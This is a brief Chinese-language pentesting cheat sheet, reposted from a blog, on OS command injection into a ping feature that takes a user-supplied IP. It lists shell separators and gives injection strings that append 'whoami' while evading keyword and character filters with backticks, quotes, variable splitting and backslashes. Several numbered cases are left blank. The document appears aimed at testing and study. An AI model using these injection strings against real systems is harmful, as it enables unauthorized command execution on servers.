命令执行常用命令

在***测试过程中，会遇见一些关于命令执行的漏洞，下面是收集的一些常用命令：

；   <   >   <>  |   ||  &  &&   `` ()   ' ' 

假设一种场景，从前端接收ip比如：127.0.0.1，后端对该ip进行ping测试： ping 127.0.0.1

1. 没有任何防护
   

2. 过滤了|
   

3. 过滤了 ; |
   

4. 过滤了 ; | &
   

5. 过滤了 whoami关键字
   ping -c 1 127.0.0.1|wh``oami
   

6. 过滤了whoami ``
   ping -c 1 127.0.0.1|wh''oami
   

7. 过滤了whoami `` ''
   ping -c 1 127.0.0.1;a=who;b=ami;$a$b
   

8. 过滤了whoami `` '' $
   ping -c 1 127.0.0.1|whoam""i
   

9. 过滤了whoami `` '' $ "" ;
   ping -c 1 127.0.0.1|whoam\i
   

转载于:https://blog.51cto.com/13770310/2121065